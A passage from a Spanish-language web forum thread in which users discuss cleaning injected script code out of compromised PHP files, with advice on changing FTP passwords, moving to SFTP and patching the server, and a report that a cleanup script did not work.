También hay que cambiar contraseñas de FTP, poner los parches necesarios en el servidor, nosotros pasamos de usar FTP a SFTP (SecureFTP), instalación de SuPHP y más cosas que hizo este Administrador de Sistemas, y todo volvió a la normalidad.

Así que para empezar... paciencia!!!!

Un saludo.

Javier
  #30 (permalink)  
Antiguo 20/10/2009, 12:39
 
Fecha de Ingreso: enero-2008
Mensajes: 14
Antigüedad: 16 años, 4 meses
Puntos: 0
Respuesta: Reemplazar texto en múltiples archivos

Gracias javier. Acabo de ejucutar el código nuevo pero no sucede nada.
Lo hice en una carpeta llamada "prueba" ahi copie 2 php que tienen ese codigo despues del body, tal cual aparece en la cita anterior.

- En la variable DIRECTORIO_CON_ARCHIVOS puse la ruta correcta hacia la carpeta llamada prueba: /home/sitio/www/archivos/prueba
- El script tiene los permisos de ejecución
- Al ejecutarlo me crea el archivo archivos_para_modificar , adentro está vacio y los 2 php no cambiaron en nada, continuan con ese código de script.
El script lo ejecuté como root.
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 09:25.